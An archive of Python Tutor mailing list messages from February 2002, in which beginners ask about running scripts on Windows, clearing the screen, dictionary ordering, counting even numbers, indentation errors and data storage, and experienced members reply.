Date: Thu, 21 Feb 2002 00:51:15 -0800
Subject: [Tutor] How do we make a program to be executed...
In-Reply-To: <006801c1baae$7587e280$0601a8c0@NUOVA>
References: <F188pDS7hx27kBnccYT00000b1f@hotmail.com>
 <014601c1baa6$c0ff7870$12f6c50a@LDR.local>
Message-ID: <4.2.0.58.20020221003430.00caf460@pop3.norton.antivirus>

At 10:04 AM 2/21/2002 +0200, Thanos wrote:

>Win98, and the python 2.1.2 version.
>Thanks,
>Thanos

The short answer is Python doesn't compile, as it's an
interpreted language and needs a runtime library (as
the Microsoft people call it).

This is similar to Visual Basic and Visual FoxPro and
others, which also need runtimes (sometimes several
megabytes of .dll files).

And even C/C++ usually relies on external libraries such
as msvcr70.dll and numerous other msvcr*.dll you'll find
in your c:\windows\system.  So the whole idea of a true
"standalone" exe file is a bit of a myth -- they exist of
course, but are less common that one might suppose.

In any case, there's a minimal set of files a target computer
needs, to run anything you've written in Python.  If you
don't want to share source code, you can just transfer
the .pyc files.  If you're using Tk or another widget tool,
then there's that whole business to worry about.

There's a utility out there that'll bundle your python program
with the necessary dll runtime stuff into a big exe file
(sorry, I've never used it).  But you don't want each little
python script to get that whole big add-on bundled with it
each time.  A better approach is to keep the dll stuff
unbundled, so everything you write can share it.

But in my opinion, really the best solution is to install a
full Python x.x on any target machine on which you plan to
run .pyc or .py (or .pyd) files.

That's not the "Microsoft way" of course, as MSFT charges
money for the developer platform, and then makes the runtime
piece royalty free (distributable by the developer).  But
all of core Python is free, so you might just as well set
up any target machine as an optional development platform,
even if the user never intends to use it that way.  It takes
an adjustment in thinking:  welcome to open source.

OK, so that turned out to be the long answer.  And I probably
missed what you really wanted.  Maybe others will do better
on that score (so far, I've always followed my own advice
and just put a full Python on any target).

Kirby



From jonikas@ldr.lt  Thu Feb 21 09:35:34 2002
From: jonikas@ldr.lt (Jonikas Valdemaras)
Date: Thu, 21 Feb 2002 11:35:34 +0200
Subject: [Tutor] Python in 24 hours more like 24 years
References: <DAV56vLIbCQ6MJpfzpe00002a5e@hotmail.com> <20020220214039.GH12173@johnsons-web.com>
Message-ID: <019d01c1babb$1d0f09a0$12f6c50a@LDR.local>

Many thanks for all answers,

I'm slightly depressed :) because Laningham's book
is the only choice in ours. So, I can't get your
recommended books.
If I understood correctly, not bad way (at least better
than Laningham's book :) would be to use tutolias
from www.python.org. Correct?

Regards,
Valdas



From thanos@internet.gr  Thu Feb 21 11:03:59 2002
From: thanos@internet.gr (Thanos)
Date: Thu, 21 Feb 2002 13:03:59 +0200
Subject: [Tutor] How do we make a program to be executed...
References: <F188pDS7hx27kBnccYT00000b1f@hotmail.com>
 <014601c1baa6$c0ff7870$12f6c50a@LDR.local>
 <006801c1baae$7587e280$0601a8c0@NUOVA>
 <01f501c1bac1$2a596280$12f6c50a@LDR.local>
Message-ID: <000701c1bac7$785b6b80$0601a8c0@NUOVA>

Hi Valdas,

I think I understood how it works.

When I made a copy of the program at my desktop and double-clicked it, it
was executed in a like-dos environment, not idle-gui mode and after its
execution it automatically shut down this command line mode. When I open it
through idle-gui mode it opens the code of course! How dum I was! Forgive my
ignorance but I'm very very new in programming...

 I'll be back soon!

With our friendliest regards,
Thanos

----- Original Message -----
From: "Jonikas Valdemaras" <jonikas@ldr.lt>
To: "Thanos" <thanos@internet.gr>
Sent: Thursday, February 21, 2002 12:18 PM
Subject: Re: [Tutor] How do we make a program to be executed...


> > Win98, and the python 2.1.2 version.
> > Thanks,
> > Thanos
>
> If I understood correctly, you would like
> to double-click icon to run Python program?
> If yes, have you get any error messages etc.
> after double-clicking?
> I've tested Python 2.2 on Win'98 right
> now and everything is OK (could you
> try to use Python 2.2?).
> Anyway, I will try to look into some books
> (later today) and tomorrow I will send you an
> information I find. Please mail me if
> you will find any solution earlier :)
>
> Sorry for my bad English.
> Regards,
> Valdas
>




From alan.gauld@bt.com  Thu Feb 21 11:45:41 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 21 Feb 2002 11:45:41 -0000
Subject: [Tutor] style question
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B6@mbtlipnt02.btlabs.bt.co.uk>

> some feedbakc.  Let's say you have a task of finding out how many of 5
> positive integer numbers (a-e) are even.  Which (if either) of the two
> codes would be preferred:
> 
> # {option A}
> odd=a%2+b%2+c%2+d%2+e%2
> even=5-odd

Yech! I don't like this under any circumstance.
If I really wanted to do it in two lines I'd try something like:

>>> count = 0
>>> L = [a,b,c,d,e]
>>> for n in L:
      if n%2: count += 1

> # {option B}
> if a%2==0:	
> 	even = even + 1
> if b%2==0:	
> 	even = even + 1
> if c%2==0:	
> 	even = even + 1
> if d%2==0:	
> 	even = even + 1
> if e%2==0:	
> 	even = even + 1

This is the same as above but writing the loop longhand...

> Is option A guilty of relying on the "side effect" of mod 2 
> being a 1 or zero or is this a desireable/understandable 
> use of this function's return

It's an acceptable use but just plain obtuse. The minor gain 
in performance over the loop doesn't justify the loss of 
readability IMHO.

Alan g


From alan.gauld@bt.com  Thu Feb 21 11:56:47 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 21 Feb 2002 11:56:47 -0000
Subject: [Tutor] How do we make a program to be executed...
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B7@mbtlipnt02.btlabs.bt.co.uk>

> make it an executable program. 
> I mean how do I make it a complete program that we only 
> need to exe its icon and not getting into the code and run 
> script. 

If the file associations are set correctly on Windows
(and they should be by the installer) then you only need 
to double click the icon in explorere and it will run.
[ If on Unix then set the shebang line to point at python 
for the same effect]

There are tools around for converting a python program into 
an exe file by bundling the interpreter and libraries with 
your script etc but personally I'd rather just install 
Python along with my script...


> Furthermore, could you please tell me how do we clear the 
> screen (cls)?

Again this depends on the OS in use.
Assuming Windows then the simplest way is

import os
os.system('cls')

However I have occasionally had strange error messages when 
doing this - but it seems to work most times...

Alan g.


From alan.gauld@bt.com  Thu Feb 21 12:07:27 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 21 Feb 2002 12:07:27 -0000
Subject: [Tutor] Function return
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B8@mbtlipnt02.btlabs.bt.co.uk>

if __name__ == "__main__":
  closed = closedRecords("closed.001", "LIS00139")
  print 'No records', closed.noRecords()
  recs = closed.getRecords  <-- Needs to be closedRecord() ie with parens


Otherwise it looks OK to me...

Alan g


From alan.gauld@bt.com  Thu Feb 21 12:11:44 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 21 Feb 2002 12:11:44 -0000
Subject: [Tutor] dictionaries
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B9@mbtlipnt02.btlabs.bt.co.uk>

> I would like to know why the C part of my dictionary when I 
> update it from the 2nd one goes before B.
>>> x = "C"
>>> y = "3"
>>> dict2 = {x:y}
>>> dict.update(dict2)
>>> dict
> {'A': '1', 'C': '3', 'B': '2'}

Dictionaries do not guarantee order. Its part of the characteristics 
of a dictionary(or hash table). Thats why if you want to process 
a dictionary in order you have to get the keys into a list and 
then sort them:

for key in mydict.keys().sort():
    # process mydict[key]

If you want the full explanation look up a text book on how 
hash tables work!

Alan g


From wheelege@hotmail.com  Thu Feb 21 12:15:12 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Thu, 21 Feb 2002 23:15:12 +1100
Subject: [Tutor] How do we make a program to be executed...
References: <F188pDS7hx27kBnccYT00000b1f@hotmail.com> <014601c1baa6$c0ff7870$12f6c50a@LDR.local> <4.2.0.58.20020221003430.00caf460@pop3.norton.antivirus>
Message-ID: <DAV33CSCRqwbW5QcFZk0000b170@hotmail.com>

> At 10:04 AM 2/21/2002 +0200, Thanos wrote:
>
> >Win98, and the python 2.1.2 version.
> >Thanks,
> >Thanos
>

  I lost the rest of the thread :)
  But I've been compiling python programs into stand-alone packages for soem
time now.  It seems that the easiest way to get people to try your program
is to tell them to 'double click on it' instead of 'connect to the net...go
to python.org...download python... (by this time they have decided not to
try it) etc'.
  I've found py2exe (http://starship.python.net/crew/theller/py2exe/) to be
a great program for doing this, but perhaps a little bit of overkill for you
atm.  Visit the site, have a look around, and know that if you need to run a
python program without the script handy, it's easy :).

  HTH,
  Glen


From charlie@begeistert.org  Thu Feb 21 13:34:41 2002
From: charlie@begeistert.org (Charlie Clark)
Date: Thu, 21 Feb 2002 08:34:41 -0500
Subject: [Tutor] The print ogre
Message-ID: <53190134835-BeMail@gormenghast>

>I've used it.  The idea of directly printing to a file isn't the
>problem.  There are times when it's downright handy.  It's the syntax
>that's ogreish (yes that really is a word).  But I've used far uglier
>constructs in other languages so I can live with print >>.
..
>The trouble is by keeping quiet about it we turn it into the Python
>equivalent of a Playboy magazine.  Sooner or later the newbies are 
going
>to find it on our bookshelves and then they'll be pulling it out way
>more times than they should!

Good analogy. 
It is indeed the syntax which smells. "print >>" feels like a file 
method but looks like a perl throwback. Where else does ">>" occur in 
Python=3F This is a case of an inefficient signifier.

 "file.print" would be clear and consistent but I don't see anybody 
going for this quickly seeing as "print >>" was only introduced in 
Python 1.6. Or could we go for a PEP=3F

Charlie�



From arcege@speakeasy.net  Thu Feb 21 13:39:17 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Thu, 21 Feb 2002 08:39:17 -0500
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus>; from urnerk@qwest.net on Wed, Feb 20, 2002 at 03:50:44PM -0800
References: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> <20020220180104.A899@speakeasy.net> <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus>
Message-ID: <20020221083917.B899@speakeasy.net>

On Wed, Feb 20, 2002 at 03:50:44PM -0800, Kirby Urner wrote:
> 
> >
> >What's better is to get the length of the list where the value is true.
> >
> >how_many_evens = len( filter(lambda i, i%2==0, testlist) )
> >
> >   -Arcege
> 
> As yet, I don't get the real difference between getting the
> length by filtering on i%2==0, and adding the 1s in
> reduce(add,[i%2==0 for i in testlist]).  I'm missing some
> subtle point.

There are two points here that I've made.  One was pretty much hidden,
but I'll expand on it a bit.  The other is technical, but not as subtle.

The technical first since it is more straight-forward.

Given the following code:
$ cat try.py
#!/opt/local/bin/python2.1

import operator

class N:
  def __init__(self, n):
    self._n = n
  def __repr__(self):
    return 'N(%d)' % self._n
  def __mod__(self, other):
    return self.__class__(self._n % other)
  def __eq__(self, other):
    """Return a scaled truth value that will be used for other reasons."""
    return (self._n == other) and 100 or 0

def evenp(i):
  return i % 2 == 0

numbers = map(N, range(10))

print numbers
print filter(evenp, numbers)
print map(evenp, numbers)
print reduce(operator.add, map(evenp, numbers))

$ python2.1 try.py
[N(0), N(1), N(2), N(3), N(4), N(5), N(6), N(7), N(8), N(9)]
[N(0), N(2), N(4), N(6), N(8)]
[100, 0, 100, 0, 100, 0, 100, 0, 100, 0]
500
$

Right now, your code might be okay.  But later on, if you use the same
mechanism (addition of a boolean) with some other "integer" object,
then you could easily run into problems.  The class itself is fine and
follows all the rules, the algorithm for counting the number of true
values is flawed.

Now lets say that I change the __eq__ method to:
  def __eq__(self, other):
    return (self._n == other) and "true" or ""

It is still valid, but you'd get "truetruetrueutruetrue" instead of 5.

The less subtle point is one of code readability and code longevity.
Someone may have to read some future code that you write someday.
This used to be a major problem with Perl web programming (and probably
still is) - using language "tricks" that let you do things, but that
people look at and wonder "why."

Let's use one of the original working mechanisms someone contributed:

def count_evens(list):
  from operator import add
  return reduce(add, [i%2==0 for i in list])

Someone who does not normally think of 'boolean arithmetic' (as opposed to
'boolean algebra') would probably think that you are trying to add
actual integer values and not booleans and assume that the '==' operator
is a bug in your code.

Using 'boolean arithmetic' is against most algorithms, so when most people
see it, they'll probably think it is not what you meant and try to figure
out what it is doing.

I hope this is sufficiently long winded enough.  I have to run to a
doctor's appointment anyway.

  -Arcege



From charlie@begeistert.org  Thu Feb 21 13:49:31 2002
From: charlie@begeistert.org (Charlie Clark)
Date: Thu, 21 Feb 2002 08:49:31 -0500
Subject: [Tutor] Creating typed files with Python, BeOS (OT)
Message-ID: <54080016009-BeMail@gormenghast>

>Dear Python people,
>
>How can you tell Python to make a simple text file or to make a kind 
of file 
>with your own kind of extension=3F  I have looked around in books I 
have, and 
>online.  I have only found stuff about how to open and close and 
recieve 
>input from.  I don't know enough about file creation and operating 
systems 
>to know I guess how to tell Python to do it.

Creating typed files depends on the operating system's support for file 
types.
Extensions are not the same as file types!!!

Python will let you create files with any name as long as it is allowd 
by the operating system:
f =3D open("ourfile", "w")

Giving textfiles a ".txt" extension is purely a convention required for 
primitive file systems such as FAT/ NTFS or Posix. Removing or changing 
the extension can make such files unreadable on that system.

Some file systems such as the BFS provide sophisticated file typing and 
Python can hook into this. Bear in mind that this is platform specific

The following code creates an e-mail file in BeOS

from BeOS.fsattr import write=5Fattr

newfile =3D "newfile.mail"
# creat an empty file
f =3D open(newfile, "w")
f.close()
#give our new file a file type
write=5Fattr(newfile, "BEOS:TYPE", B=5FMIME=5FSTRING=5FTYPE, "text/x-email\0", 
0)

Our file "newfile.mail" now has the MIME-type "text/x-email". E-mail 
files are a subset of textfiles and can be read by any text editor or 
mail program independent of the file extension.

Charlie�



From markus-wt@gmx.de  Thu Feb 21 14:23:36 2002
From: markus-wt@gmx.de (Markus Wessel-Therhorn)
Date: Thu, 21 Feb 2002 15:23:36 +0100 (MET)
Subject: [Tutor] Strange error
Message-ID: <11962.1014301416@www27.gmx.net>

Hi folks.
I started learning python about a week ago and I found a strange problem.
please look at this code:

>>> a = 1
>>> b = 2
>>> if a > b:
print "a > b"
elif a < b:

SyntaxError: invalid syntax
>>> 

As the source for the error he points to the "elif". Is this problem somehow
connected with IDLE or did i just make a misstake? i did it exactly like in
the tutorial and I got no idea why it does not work.
Would be very nice if someone could help me,
Markus

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net



From scarblac@pino.selwerd.nl  Thu Feb 21 14:28:38 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 21 Feb 2002 15:28:38 +0100
Subject: [Tutor] Strange error
In-Reply-To: <11962.1014301416@www27.gmx.net>; from markus-wt@gmx.de on Thu, Feb 21, 2002 at 03:23:36PM +0100
References: <11962.1014301416@www27.gmx.net>
Message-ID: <20020221152838.A14363@pino.selwerd.nl>

On  0, Markus Wessel-Therhorn <markus-wt@gmx.de> wrote:
> Hi folks.
> I started learning python about a week ago and I found a strange problem.
> please look at this code:
> 
> >>> a = 1
> >>> b = 2
> >>> if a > b:
> print "a > b"
> elif a < b:
> 
> SyntaxError: invalid syntax
> >>> 
> 
> As the source for the error he points to the "elif". Is this problem somehow
> connected with IDLE or did i just make a misstake? i did it exactly like in
> the tutorial and I got no idea why it does not work.
> Would be very nice if someone could help me,


Probably an indentation error. You need to indent the "print" line, put a
few spaces before it to show that it is the block that follows the if:
command. The elif: line then should be at the same level as the if: command,
like

if a > b:
    print "a > b"
elif a < b:
    print "etc"


-- 
Remco Gerlich


From urnerk@qwest.net  Thu Feb 21 15:18:38 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 21 Feb 2002 07:18:38 -0800
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <Pine.LNX.4.21.0202202144010.28939-100000@hkn.eecs.berkeley
 .edu>
References: <4.2.0.58.20020220155115.01aa6230@pop3.norton.antivirus>
Message-ID: <4.2.0.58.20020221070636.00cfaf00@pop3.norton.antivirus>

>
>Personally, I think it's ok to add booleans; I feel it's
>fairly safe to assme that equality testing returns an integer.

OK, and I get the subtle difference now.

I'd likely still go for a list comprehension over a
map-lambda, esp. when teaching newcomers.  Call me
lazy.

And note:  if we're so paranoid as to distrust that ==
might be reliable, given it can be overridden by an
object, so might % be overidden, messing up the filter-
based test as well:

  >>> class T:
         def __init__(self,val):
             self.val = val
         def __eq__(self,other):
             return self.val == other.val
         def __mod__(self,other):
             return 0
         def __repr__(self):
             return str(self.val)


  >>> t0 = T(1)
  >>> t1 = T(45)
  >>> [t0,t1]     # so, no evens, yes?
  [1, 45]
  >>> len(filter(None,[i%2==0 for i in [t0,t1]]))  # think again!
  2

Just can't be too careful. :-D

Kirby



From israel@lith.com  Thu Feb 21 15:21:04 2002
From: israel@lith.com (Israel Evans)
Date: Thu, 21 Feb 2002 07:21:04 -0800
Subject: [Tutor] Creating and storing objects from a GUI...
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B3F8E@abbott.lith.com>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1BAEB.630022DE
Content-Type: text/plain

 
Hello there Tutor List.
 
I'm in the midst of designing a program that will be creating new instances
of a number of classes and then storing that information somehow.  I'm in a
little bit of a quandary as to how I should go about this.  There are so
many options!  I'm still rather inexperienced at this sort of thing so I'm
having a tough time knowing the "right" way to do a number of things.  I
know that "right" is rather subjective based on one's needs, but if anyone
has any "more right than wrong" sorts of answers, I would be most
appreciative.
 
I'd like to display the information in a variety of ways, and I'd like to be
able to do searches, and queries in a variety of ways, so I'm thinking that
XML saved in a Database of some sorts might be nice, but would it just be
simpler and take up less space to save things off in plain text format, or
even pickle the objects I create?  
 
What are the benefits of using the ZODB over a relational DB like
PostgreSQL, or MySQL?
This program is expected to retain records of transactions and appointments
for quite a long time and the sheer volume of them may get up there in size
over time.  If my little program doesn't cut it in the end, I'd still like
to be able to easily migrate the date elsewhere.
 
What choices have you made in situations like these?
 
Thanks,
 
~Israel~
 

------_=_NextPart_001_01C1BAEB.630022DE
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C1BAA8.5285FF70">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"country-region"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
   <w:UseFELayout/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]--><!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:PMingLiU;
	panose-1:2 2 3 0 0 0 0 0 0 0;
	mso-font-alt:\65B0\7D30\660E\9AD4;
	mso-font-charset:136;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:3 137232384 22 0 1048577 0;}
@font-face
	{font-family:"\@PMingLiU";
	panose-1:2 2 3 0 0 0 0 0 0 0;
	mso-font-charset:136;
	mso-generic-font-family:roman;
	mso-font-pitch:variable;
	mso-font-signature:3 137232384 22 0 1048577 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:PMingLiU;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.GramE
	{mso-style-name:"";
	mso-gram-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hello there Tutor List.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I'm in the midst of designing a program that will be
creating new instances of a number of classes and then storing that =
information
somehow. <span style=3D'mso-spacerun:yes'>&nbsp;</span>I'm in a little =
bit
of a quandary as to how I should go about this.<span
style=3D'mso-spacerun:yes'>&nbsp; </span>There are so many =
options!<span
style=3D'mso-spacerun:yes'>&nbsp; </span>I'm still rather inexperienced =
at
this sort of thing so I'm having a tough time knowing the "right"
way to do a number of things.<span style=3D'mso-spacerun:yes'>&nbsp; =
</span>I
know that "right" is rather subjective based on one's needs,
but if anyone has any "more right than wrong" sorts of answers, I
would be most appreciative.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I'd like to display the information in a variety of
ways, and I'd like to be able to do searches, and queries in a variety =
of
ways, so I'm thinking that XML saved in a Database of some sorts might =
be
nice, but would it just be simpler and take up less space to save =
things off in
plain text format, or even pickle the objects I create? <span
style=3D'mso-spacerun:yes'>&nbsp;</span><o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>What are the benefits of using the ZODB over a =
relational DB
like PostgreSQL, or MySQL?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>This program is expected to retain records of =
transactions
and appointments for quite a long time and the sheer volume of them may =
get up
there in size over time.<span style=3D'mso-spacerun:yes'>&nbsp; =
</span>If my
little program doesn't cut it in the end, I'd still like to be able
to easily migrate the date elsewhere.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>What choices have you made in situations like =
these?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoAutoSig><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt;mso-no-proof:yes'>Thanks,<o:p></o:p></span></font></p>

<p class=3DMsoAutoSig><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt;mso-no-proof:yes'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoAutoSig><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt;font-family:"Courier =
New";mso-no-proof:yes'>~</span></font><st1:country-region><st1:place><fo=
nt
  size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New";
  =
mso-no-proof:yes'>Israel</span></font></st1:place></st1:country-region><=
font
size=3D2 face=3D"Courier New"><span =
style=3D'font-size:10.0pt;font-family:"Courier New";
mso-no-proof:yes'>~<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C1BAEB.630022DE--


From urnerk@qwest.net  Thu Feb 21 15:33:40 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 21 Feb 2002 07:33:40 -0800
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <20020221083917.B899@speakeasy.net>
References: <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus>
 <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>
 <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>
 <20020220180104.A899@speakeasy.net>
 <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus>
Message-ID: <4.2.0.58.20020221072206.00ac4ef0@pop3.norton.antivirus>

>
>I hope this is sufficiently long winded enough.  I have to run to a
>doctor's appointment anyway.
>
>   -Arcege

Yes, I understand now.  The filter approach is indeed
safer and probably more readable.  If used my reduce
approach, I should at least flag the trick with a
comment.

My earlier objection was if you go so far as to assume
an object messes with __eq__, you might as well imagine
it messes with __mod__ as well -- and that'd break the
filter method too.  You showed where the programmer might
have some authentic, if misguided, need to return 'true'
or 100 instead of 1, whereas my messing with % was just
evil.  On the other hand, one can imagine an equally
misguided, yet well-meaning programmer who thinks % is
obscure enough to be fair game for overriding in objects
that otherwise behave like integers.  Moral:  there's
only so far you can go to compensate for what others
might do with objects.

Kirby



From urnerk@qwest.net  Thu Feb 21 15:43:55 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 21 Feb 2002 07:43:55 -0800
Subject: [Tutor] Creating and storing objects from a GUI...
In-Reply-To: <AF020C5FC551DD43A4958A679EA16A15017B3F8E@abbott.lith.com>
Message-ID: <4.2.0.58.20020221073621.00d11270@pop3.norton.antivirus>

>
>What choices have you made in situations like these?
>
>
>
>Thanks,
>
>
>
>~Israel~

How about just a classic RDBMS (relational database)
with field types.  Then you've got SQL (way powerful)
and portability (dumping tables to files no problem
-- nothing pickled).

If you want to code using objects, those could be
formed during read-in of specific records, e.g.
screen fields might map to myrecord.firstname and
myrecord.lastname where myrecord is an instance.
That way you could stick validation code in your
parent class as methods e.g. myrecord.updateHomePhone()
would make sure this was a legal phone number etc.

myrecord.write() might update the appropriate table,
having all the right SQL syntax and connectivity
objects internally.

Anyway, that's one idea.

Kirby



From scarblac@pino.selwerd.nl  Thu Feb 21 15:44:52 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 21 Feb 2002 16:44:52 +0100
Subject: [Tutor] Creating and storing objects from a GUI...
In-Reply-To: <AF020C5FC551DD43A4958A679EA16A15017B3F8E@abbott.lith.com>; from israel@lith.com on Thu, Feb 21, 2002 at 07:21:04AM -0800
References: <AF020C5FC551DD43A4958A679EA16A15017B3F8E@abbott.lith.com>
Message-ID: <20020221164452.A14768@pino.selwerd.nl>

On  0, Israel Evans <israel@lith.com> wrote:
> I'm in the midst of designing a program that will be creating new instances
> of a number of classes and then storing that information somehow.  I'm in a
> little bit of a quandary as to how I should go about this.  There are so
> many options!  I'm still rather inexperienced at this sort of thing so I'm
> having a tough time knowing the "right" way to do a number of things.  I
> know that "right" is rather subjective based on one's needs, but if anyone
> has any "more right than wrong" sorts of answers, I would be most
> appreciative.
>  
> I'd like to display the information in a variety of ways, and I'd like to be
> able to do searches, and queries in a variety of ways, so I'm thinking that
> XML saved in a Database of some sorts might be nice, but would it just be
> simpler and take up less space to save things off in plain text format, or
> even pickle the objects I create?

It depends :) How is your program used, how many records, that sort of thing.

There is a rule of extreme programming that I like: do the simplest thing
that can possibly work. If after a while it turns out you need something
heavier, you can code and then and move the data over. You might have to
make the system more complicated later, but half the time it turns out it's
not necessary after all, and much of the rest of the time your program has
been completely redesigned by that later time anyway.

So for one thing, XML in a database sounds like too much to me. Why the XML?
Most things should fit into a database table without XML stuff, and would be
far easier to search.

Pickle is probably the simplest thing that works, it's very easy to use.
